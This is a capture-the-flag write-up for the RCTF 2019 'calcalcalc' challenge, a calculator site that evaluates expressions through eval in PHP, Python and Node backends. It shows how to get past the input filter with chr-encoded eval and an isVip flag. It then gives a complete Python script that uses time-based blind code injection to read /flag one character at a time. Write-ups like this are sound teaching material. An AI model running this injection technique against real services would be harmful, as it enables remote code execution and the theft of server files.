(source given)
This website provides a calculator service with one frontend and three backends (php, python, node). We submit an expression to frontend, and get the result if answers given by `eval` from all backends are the same.
There are some restriction on the expression.
```typescriptvalidate(value: any, args: ValidationArguments) {    const str = value ? value.toString() : '';    if (str.length === 0) {        return false;    }    if (!(args.object as CalculateModel).isVip) {        if (str.length >= args.constraints[0]) {            return false;        }    }    if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {        return false;    }    return true;}```
We can use `eval` and `chr` in python to pass the re check.
We also need to add `"isVIP": True` in the post json to avoid the length check.
After all, it becomes a timing blind search, and the basic payload is `__import__('time').sleep(5) if {boolean_exp} else 1`
final script:
```pythonimport requestsfrom time import time
url = 'https://calcalcalc.2019.rctf.rois.io/calculate'
def encode(payload):    return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))
def query(bool_expr):    payload = "__import__('time').sleep(5) if %s else 1" % bool_expr    t = time()    r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})    # print(r.text)    delta = time() - t    print(payload, delta)    return delta > 5
def binary_search(geq_expression, l, r):    eq_expression = geq_expression.replace('>=', '==')    while True:        if (r - l) < 4:            for mid in range(l, r + 1):                if query(eq_expression.format(num=mid)):                    return mid            else:                print('NOT FOUND')                return        mid = (l + r) // 2        if query(geq_expression.format(num=mid)):            l = mid        else:            r = mid
# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)flag_len = 36print('flag length: %d' % flag_len)
flag = ''while len(flag) < flag_len:    c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)    if c:   # the bs may fail due to network issues        flag += chr(c)    print(flag)
```
